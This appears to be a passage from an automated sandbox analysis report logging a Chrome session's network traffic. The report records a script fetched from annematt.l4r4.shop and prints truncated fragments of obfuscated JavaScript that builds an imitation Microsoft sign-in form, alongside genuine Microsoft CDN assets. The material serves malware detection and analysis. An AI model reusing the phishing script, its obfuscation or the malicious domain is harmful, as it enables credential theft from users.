Oct 24, 2024 22:10:27.942759991 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:37.876925945 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:37.877068996 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:37.877132893 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:38.199798107 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:38.199836016 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:41.770596981 CEST	56533	443	192.168.2.5	13.107.246.45

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 22:09:23.934041023 CEST	53	61004	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:23.957425117 CEST	53	54095	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:23.958511114 CEST	53	58381	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:25.217329979 CEST	53	65369	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:25.878503084 CEST	50413	53	192.168.2.5	1.1.1.1
Oct 24, 2024 22:09:25.878638983 CEST	53106	53	192.168.2.5	1.1.1.1
Oct 24, 2024 22:09:25.920486927 CEST	53	53106	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:25.945631981 CEST	53	50413	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:25.973220110 CEST	53	52892	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:26.927634001 CEST	51645	53	192.168.2.5	1.1.1.1
Oct 24, 2024 22:09:26.927772999 CEST	54749	53	192.168.2.5	1.1.1.1
Oct 24, 2024 22:09:26.934819937 CEST	53	51645	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:26.935364008 CEST	53	54749	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:27.332117081 CEST	59535	53	192.168.2.5	1.1.1.1
Oct 24, 2024 22:09:27.332366943 CEST	60711	53	192.168.2.5	1.1.1.1
Oct 24, 2024 22:09:27.400052071 CEST	53	60711	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:27.510540009 CEST	53	59535	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:29.072464943 CEST	53	64714	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:42.846100092 CEST	53	54439	1.1.1.1	192.168.2.5
Oct 24, 2024 22:09:57.575428963 CEST	53	53969	162.159.36.2	192.168.2.5
Oct 24, 2024 22:09:58.201152086 CEST	53	53012	1.1.1.1	192.168.2.5
Oct 24, 2024 22:10:01.875328064 CEST	53	50934	1.1.1.1	192.168.2.5
Oct 24, 2024 22:10:23.252640963 CEST	53	62807	1.1.1.1	192.168.2.5
Oct 24, 2024 22:10:24.361876965 CEST	53	49660	1.1.1.1	192.168.2.5
Oct 24, 2024 22:10:52.560883045 CEST	53	51948	1.1.1.1	192.168.2.5
Oct 24, 2024 22:11:38.479749918 CEST	53	49895	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 24, 2024 22:09:27.341022968 CEST	192.168.2.5	1.1.1.1	c2dd	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 22:09:25.878503084 CEST	192.168.2.5	1.1.1.1	0xfa37	Standard query (0)	annematt.l4r4.shop	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:25.878638983 CEST	192.168.2.5	1.1.1.1	0x7520	Standard query (0)	annematt.l4r4.shop	65	IN (0x0001)	false
Oct 24, 2024 22:09:26.927634001 CEST	192.168.2.5	1.1.1.1	0x4f75	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:26.927772999 CEST	192.168.2.5	1.1.1.1	0xd79a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 24, 2024 22:09:27.332117081 CEST	192.168.2.5	1.1.1.1	0xbbc3	Standard query (0)	annematt.l4r4.shop	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:27.332366943 CEST	192.168.2.5	1.1.1.1	0xe67b	Standard query (0)	annematt.l4r4.shop	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 22:09:25.945631981 CEST	1.1.1.1	192.168.2.5	0xfa37	No error (0)	annematt.l4r4.shop		185.23.253.5	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:26.934819937 CEST	1.1.1.1	192.168.2.5	0x4f75	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:26.935364008 CEST	1.1.1.1	192.168.2.5	0xd79a	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 24, 2024 22:09:27.333496094 CEST	1.1.1.1	192.168.2.5	0x63c7	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 22:09:27.333496094 CEST	1.1.1.1	192.168.2.5	0x63c7	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:27.336260080 CEST	1.1.1.1	192.168.2.5	0x9436	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 22:09:27.336260080 CEST	1.1.1.1	192.168.2.5	0x9436	No error (0)	s-part-0039.t-0009.t-msedge.net		13.107.246.67	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:27.510540009 CEST	1.1.1.1	192.168.2.5	0xbbc3	No error (0)	annematt.l4r4.shop		185.23.253.5	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:28.230099916 CEST	1.1.1.1	192.168.2.5	0xd82f	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 22:09:28.230099916 CEST	1.1.1.1	192.168.2.5	0xd82f	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Oct 24, 2024 22:09:28.663553953 CEST	1.1.1.1	192.168.2.5	0x259f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 24, 2024 22:09:28.663553953 CEST	1.1.1.1	192.168.2.5	0x259f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

annematt.l4r4.shop

aadcdn.msauth.net

logincdn.msauth.net

slscr.update.microsoft.com

otelrules.azureedge.net

fs.microsoft.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	185.23.253.5	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:26 UTC	587	OUT	GET /origattachment.js HTTP/1.1 Host: annematt.l4r4.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:27 UTC	213	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:26 GMT Server: Apache Last-Modified: Mon, 14 Oct 2024 04:53:03 GMT Accept-Ranges: bytes Content-Length: 37413 Connection: close Content-Type: text/javascript
2024-10-24 20:09:27 UTC	7979	IN	Data Raw: 76 61 72 20 5f 30 78 33 34 35 38 38 62 3d 5f 30 78 35 32 38 66 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 36 66 34 39 30 39 2c 5f 30 78 35 39 63 66 61 38 29 7b 76 61 72 20 5f 30 78 31 64 63 34 65 33 3d 5f 30 78 35 32 38 66 2c 5f 30 78 35 38 32 63 31 31 3d 5f 30 78 36 66 34 39 30 39 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 5f 30 78 33 32 64 63 38 64 3d 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 66 32 29 29 2f 30 78 31 2b 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 65 63 29 29 2f 30 78 32 2b 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 31 30 62 29 29 2f 30 78 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 5f 30 78 31 64 63 34 65 33 28 30 78 66 30 29 29 2f 30 78 34 29 2b 2d 70 Data Ascii: var _0x34588b=_0x528f;(function(_0x6f4909,_0x59cfa8){var _0x1dc4e3=_0x528f,_0x582c11=_0x6f4909();while(!![]){try{var _0x32dc8d=-parseInt(_0x1dc4e3(0xf2))/0x1+-parseInt(_0x1dc4e3(0xec))/0x2+parseInt(_0x1dc4e3(0x10b))/0x3*(-parseInt(_0x1dc4e3(0xf0))/0x4)+-p
2024-10-24 20:09:27 UTC	8000	IN	Data Raw: 65 6d 65 6d 62 65 72 5c 78 32 30 79 6f 75 72 5c 78 32 30 70 61 73 73 77 6f 72 64 2c 5c 78 32 30 27 2c 27 31 30 53 6d 6f 64 6a 63 27 2c 27 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 5c 78 32 30 69 6e 70 75 74 5c 78 32 30 65 78 74 2d 69 6e 70 75 74 5c 78 32 30 74 65 78 74 2d 62 6f 78 5c 78 32 30 65 78 74 2d 74 65 78 74 2d 62 6f 78 27 2c 27 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 27 2c 27 31 37 36 32 31 36 63 51 44 6f 51 59 27 2c 27 6e 6f 6e 65 27 2c 27 6c 6f 63 61 74 69 6f 6e 27 2c 27 68 74 6d 6c 27 2c 27 31 39 31 38 36 34 47 78 48 56 43 43 27 2c 27 31 35 30 37 38 36 67 53 45 4a 44 48 27 2c 27 31 31 31 39 39 34 76 46 65 5a 79 42 27 2c 27 6c 61 73 74 2d 66 72 61 6d 65 27 2c 27 62 6f 72 64 65 72 43 6f 6c 6f 72 27 2c 27 73 74 79 6c 65 27 2c 27 32 38 31 39 33 Data Ascii: emember\x20your\x20password,\x20','10Smodjc','form-control\x20input\x20ext-input\x20text-box\x20ext-text-box','background-image','176216cQDoQY','none','location','html','191864GxHVCC','150786gSEJDH','111994vFeZyB','last-frame','borderColor','style','28193
2024-10-24 20:09:27 UTC	8000	IN	Data Raw: 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 36 25 37 35 25 36 43 25 36 43 25 32 44 25 36 38 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 32 32 25 33 45 25 30 41 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 36 25 36 43 25 36 35 25 37 38 25 32 44 25 36 33 25 36 46 25 36 43 25 37 35 25 36 44 25 36 45 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 37 37 25 36 39 25 36 45 25 32 44 25 37 33 25 36 33 25 37 32 25 36 46 25 36 43 25 36 43 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 Data Ascii: 3%6C%61%73%73%3D%22%66%75%6C%6C%2D%68%65%69%67%68%74%22%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%66%6C%65%78%2D%63%6F%6C%75%6D%6E%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%69%6E%2D%73%63%72%6F%6C%6C%22%3E%0A%20%20%20%20%20%3C%64%69%76%2
2024-10-24 20:09:27 UTC	8000	IN	Data Raw: 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 30 25 37 33 25 36 35 25 36 33 25 36 46 25 36 45 25 36 34 25 36 31 25 37 32 25 37 39 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 37 33 25 36 35 25 36 33 25 36 46 25 36 45 25 36 34 25 36 31 25 37 32 25 37 39 25 32 32 25 32 30 25 37 36 25 36 31 25 36 43 25 37 35 25 36 35 25 33 44 25 32 32 25 34 32 25 36 31 25 36 33 25 36 42 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 32 46 25 36 34 25 36 39 25 37 36 25 33 45 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 Data Ascii: 75%74%74%6F%6E%20%65%78%74%2D%62%75%74%74%6F%6E%20%73%65%63%6F%6E%64%61%72%79%20%65%78%74%2D%73%65%63%6F%6E%64%61%72%79%22%20%76%61%6C%75%65%3D%22%42%61%63%6B%22%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
2024-10-24 20:09:27 UTC	5434	IN	Data Raw: 25 36 35 25 37 32 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 44 25 36 36 25 36 39 25 36 35 25 36 43 25 36 34 25 32 44 25 36 33 25 36 46 25 36 45 25 37 34 25 36 31 25 36 39 25 36 45 25 36 35 25 37 32 25 32 32 25 33 45 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 33 43 25 36 34 25 36 39 25 37 36 25 32 30 25 36 33 25 36 43 25 36 31 25 37 33 25 37 33 25 33 44 25 32 32 25 36 39 25 36 45 25 36 43 25 36 39 25 36 45 25 36 35 25 32 44 25 36 32 25 36 43 25 36 46 25 36 33 25 36 42 25 32 30 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 44 25 36 39 25 37 34 25 36 35 25 36 44 25 32 30 25 36 35 25 37 38 25 37 34 25 32 44 25 36 32 25 37 35 25 37 34 25 37 34 25 36 46 25 36 45 25 32 44 25 36 39 Data Ascii: %65%72%20%65%78%74%2D%62%75%74%74%6F%6E%2D%66%69%65%6C%64%2D%63%6F%6E%74%61%69%6E%65%72%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%69%6E%6C%69%6E%65%2D%62%6C%6F%63%6B%20%62%75%74%74%6F%6E%2D%69%74%65%6D%20%65%78%74%2D%62%75%74%74%6F%6E%2D%69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49720	13.107.246.44	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:28 UTC	584	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_ziytf8dzt9eg1s6-ohhleg2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:28 UTC	776	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:28 GMT Content-Type: text/css Content-Length: 19953 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Mon, 18 Apr 2022 21:18:26 GMT ETag: 0x8DA2180FA29F5AF x-ms-request-id: 0631e329-b01e-001f-4e50-264fff000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200928Z-r197bdfb6b4gqmwlpwzzs5v83s00000000g0000000001x95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 20:09:28 UTC	15608	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 5c eb c9 4a 8c 48 3d 47 53 71 ad e3 78 e3 39 c7 af b2 9d 7d 54 ca b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab 33 ff fd e2 8d 06 d0 20 a9 f1 64 b3 f7 56 d6 1b 5b 44 37 1a 40 77 a3 81 06 d0 c0 77 df fe 21 78 5e ec 6e cb ec 6a 5d 07 4f 9e 9f 06 af b3 45 59 54 c5 aa 26 e9 e5 ae 28 93 3a 2b b6 61 f0 2c cf 03 86 54 05 65 5a a5 e5 75 ba 0c 83 6f bf fb ee db 3f 3c ea 77 ff 5f f0 e1 e3 b3 f7 1f 83 b7 7f 09 3e be bc 78 ff 63 f0 8e 7c fd 23 78 f3 f6 e3 c5 f3 17 41 67 2a 8f 1e 7d 5c 67 55 b0 ca f2 34 20 ff 5e 26 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4c f3 e2 26 78 42 c8 95 cb e0 5d 52 d6 b7 c1 c5 bb d3 30 f8 48 70 0b d2 Data Ascii: }k6w\JH=GSqx9}T)Qf<3 dV[D7@ww!x^nj]OEYT&(:+a,TeZuo?<w_>xc\|#xAg*}\gU4 ^&UmPA]ZU!Y:ve?!dL&xB]R0Hp
2024-10-24 20:09:28 UTC	4345	IN	Data Raw: 4d f4 aa e1 60 30 5e 26 13 b7 4d 5a e3 0c 32 50 fb 10 40 6b 9b fc 5a d9 82 86 b5 c9 a7 ad bc 4d f7 53 c6 3e 3f 39 dd 03 b7 41 cb ce 26 be d0 de 86 c0 54 77 43 60 b2 bf 81 c2 0c ee 7b d2 cd 0a 61 90 56 01 34 54 b4 0d 0f 13 81 b8 2f db 70 52 d0 7d 6b f3 ee d8 8a 4c 1c d2 27 e1 d9 ec 14 b9 79 16 00 b1 44 22 26 de 7c 1d a7 8b 6f c3 83 81 00 2e 9a 8f 64 e0 9b fc 61 ac 32 b8 ef a4 7b 76 4d bf f4 c1 f2 99 fb b4 04 72 58 c0 8e 6e c3 5f c7 f3 3c 67 c8 ae be 16 6f 54 ce 37 c9 36 db ed 73 c6 5e f7 de 56 71 c3 87 f1 ae 9e 38 a5 66 bb a2 46 2c eb 6f 31 16 43 de bb 8f b6 9b e7 e7 e0 7a 9a ad 02 0f 30 cc da 14 7f 83 b1 d0 ae c2 6f d9 bb e4 d8 e8 bc 2c d8 71 98 6c 17 5e e7 a1 c9 44 7f 78 ab 6f d2 ff 4d 98 8e 1e 27 05 0b e8 77 61 b6 a4 11 a5 f5 ed 0f 7c 17 1c 2e ae 1b 27 Data Ascii: M`0^&MZ2P@kZMS>?9A&TwC`{aV4T/pR}kL'yD"&\|o.da2{vMrXn_<goT76s^Vq8fF,o1Cz0o,ql^DxoM'wa\|.'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49718	13.107.246.67	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:28 UTC	620	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:28 UTC	780	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:28 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:07 GMT ETag: 0x8D79ED359808AB6 x-ms-request-id: abd0be83-301e-004c-3850-266ccb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200928Z-16849878b78s2lqfdex4tmpp78000000085g00000000mad3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 20:09:28 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	13.107.246.44	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:28 UTC	618	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:28 UTC	779	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:28 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 738d2b46-501e-002b-0950-26439a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200928Z-r197bdfb6b466qclztvgs64z10000000011g000000003aax x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-10-24 20:09:28 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49719	13.107.246.67	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 20:09:28 UTC	616	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 20:09:28 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 20:09:28 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: 5cd702c6-e01e-0019-6d1e-263452000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241024T200928Z-16849878b78fmrkt2ukpvh9wh4000000086g000000005ywk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
